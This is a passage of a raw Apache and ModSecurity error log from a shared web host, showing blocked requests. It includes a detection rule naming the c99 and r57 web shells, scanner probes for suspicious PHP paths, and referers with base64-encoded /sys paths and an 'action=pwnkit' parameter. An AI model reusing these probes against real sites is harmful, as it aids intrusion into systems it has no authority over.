https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:02.257340 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:02.260527 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.41:56513] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:02.260969 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.41:56513] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:02.419267 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.113:28876] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:02.419668 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.113:28876] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:02.458708 2026] [security2:error] [pid 531797:tid 532001] [client 89.251.0.71:64021] ModSecurity: Access denied with connection close (phase 1). Pattern match "c99\\\\.php|r57shell\\\\.php|r57\\\\.php|c99\\\\.txt" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1164"] [id "900010"] [rev "1"] [msg "c99 variant "] [severity "CRITICAL"] [hostname "mail.expertappliance.org"] [uri "/images/c99.php"] [unique_id "ai3wpsTA7b1mZrmcA-8ClwAAAhk"] [Sat Jun 13 18:07:02.467779 2026] [lsapi:warn] [pid 531797:tid 532083] [client 47.79.201.49:31992] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n, referer: https://www.google.com/ [Sat Jun 13 18:07:02.467808 2026] [lsapi:warn] [pid 531797:tid 532083] [client 47.79.201.49:31992] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n, referer: https://www.google.com/ [Sat Jun 13 18:07:02.491497 2026] [security2:error] [pid 531797:tid 532117] [client 148.113.209.179:41526] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wpsTA7b1mZrmcA-8CmQAAAoo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:02.605757 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.108:58979] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:02.606187 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.108:58979] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:02.624936 2026] [security2:error] [pid 531797:tid 531909] [remote 17.22.253.200:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 200.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wpsTA7b1mZrmcA-8CngACay0"] [Sat Jun 13 18:07:02.735574 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:02.735872 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:02.742177 2026] [security2:error] [pid 531155:tid 531167] [remote 17.241.75.49:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 49.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wpimiP80klyS0NnriTQABcQs"] [Sat Jun 13 18:07:02.776579 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.103:43364] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:02.776883 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.103:43364] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:02.796452 2026] [security2:error] [pid 531155:tid 531333] [client 191.234.188.123:64595] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/size.php"] [unique_id "ai3wpimiP80klyS0NnriUAAAATo"] [Sat Jun 13 18:07:02.818167 2026] [access_compat:error] [pid 531155:tid 531261] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:07:02.818440 2026] [access_compat:error] [pid 531155:tid 531261] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:07:02.848365 2026] [security2:error] [pid 531155:tid 531343] [client 20.9.67.71:54466] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.pempaleh.com"] [uri "/dccs.php"] [unique_id "ai3wpimiP80klyS0NnriVAAAAUQ"] [Sat Jun 13 18:07:02.878310 2026] [security2:error] [pid 531155:tid 531246] [remote 17.246.15.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wpimiP80klyS0NnriVgABElo"] [Sat Jun 13 18:07:02.990504 2026] [security2:error] [pid 531797:tid 532018] [client 148.113.209.179:41532] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wpsTA7b1mZrmcA-8CpAAAAio"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:03.073197 2026] [security2:error] [pid 531797:tid 532012] [client 195.2.67.184:61896] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.67.2.195.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gycblinds.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3wp8TA7b1mZrmcA-8CpwAAAiQ"], referer: https://gycblinds.com/ [Sat Jun 13 18:07:03.177400 2026] [security2:error] [pid 531797:tid 531967] [remote 220.181.108.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wp8TA7b1mZrmcA-8CqQACkGY"] [Sat Jun 13 18:07:03.215473 2026] [security2:error] [pid 531155:tid 531363] [client 148.113.209.179:41538] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wpymiP80klyS0NnriZQAAAVg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:03.233002 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:07:03.233298 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:07:03.282607 2026] [security2:error] [pid 531797:tid 531969] [remote 17.246.15.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wp8TA7b1mZrmcA-8CqwACLGg"] [Sat Jun 13 18:07:03.294495 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:03.294960 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:03.414560 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.51:44008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:03.414846 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.51:44008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:03.424916 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.48:59083] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:03.425207 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.48:59083] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:03.524972 2026] [proxy:error] [pid 531155:tid 531412] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:03.525038 2026] [proxy_http:error] [pid 531155:tid 531412] [client 207.180.213.88:52490] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:07:03.526428 2026] [proxy:error] [pid 531155:tid 531412] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:03.526484 2026] [proxy_http:error] [pid 531155:tid 531412] [client 207.180.213.88:52490] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:07:03.623520 2026] [security2:error] [pid 531797:tid 532010] [client 89.251.0.73:62447] ModSecurity: Access denied with connection close (phase 1). Pattern match "c99\\\\.php|r57shell\\\\.php|r57\\\\.php|c99\\\\.txt" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1164"] [id "900010"] [rev "1"] [msg "c99 variant "] [severity "CRITICAL"] [hostname "mail.expertappliance.org"] [uri "/images/c99.php"] [unique_id "ai3wp8TA7b1mZrmcA-8CtwAAAiI"] [Sat Jun 13 18:07:03.670706 2026] [access_compat:error] [pid 531797:tid 531978] [remote 57.141.14.45:56310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:03.671044 2026] [access_compat:error] [pid 531797:tid 531978] [remote 57.141.14.45:56310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:03.730353 2026] [security2:error] [pid 531797:tid 531988] [remote 17.241.219.26:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wp8TA7b1mZrmcA-8CuwACans"] [Sat Jun 13 18:07:03.787247 2026] [security2:error] [pid 531797:tid 532119] [client 191.233.234.186:33797] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gy.alvasonline.com"] [uri "/x.php"] [unique_id "ai3wp8TA7b1mZrmcA-8CvAAAAos"] [Sat Jun 13 18:07:03.799754 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:07:03.800026 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:07:03.869106 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:03.869390 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:04.009439 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.106:40611] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:04.009736 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.106:40611] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:04.183210 2026] [security2:error] [pid 531155:tid 531347] [client 191.234.188.123:64589] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/7logs.php"] [unique_id "ai3wqCmiP80klyS0NnrigwAAAUg"] [Sat Jun 13 18:07:04.259902 2026] [access_compat:error] [pid 531797:tid 531980] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:04.260173 2026] [access_compat:error] [pid 531797:tid 531980] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:04.277354 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.56:36770] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:04.277818 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.56:36770] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:04.324793 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL3JlYm9vdA== [Sat Jun 13 18:07:04.325269 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL3JlYm9vdA== [Sat Jun 13 18:07:04.330444 2026] [access_compat:error] [pid 531797:tid 531888] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=pwnkit&p=Ly9zeXMvYmxvY2svbG9vcDAvcXVldWU%3D [Sat Jun 13 18:07:04.330878 2026] [access_compat:error] [pid 531797:tid 531888] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=pwnkit&p=Ly9zeXMvYmxvY2svbG9vcDAvcXVldWU%3D [Sat Jun 13 18:07:04.338139 2026] [security2:error] [pid 531797:tid 531895] [remote 17.246.15.131:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wqMTA7b1mZrmcA-8CzwACiR8"] [Sat Jun 13 18:07:04.379273 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:07:04.379557 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:07:04.423428 2026] [security2:error] [pid 531155:tid 531393] [client 89.251.0.71:54615] ModSecurity: Access denied with connection close (phase 1). Pattern match "c99\\\\.php|r57shell\\\\.php|r57\\\\.php|c99\\\\.txt" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1164"] [id "900010"] [rev "1"] [msg "c99 variant "] [severity "CRITICAL"] [hostname 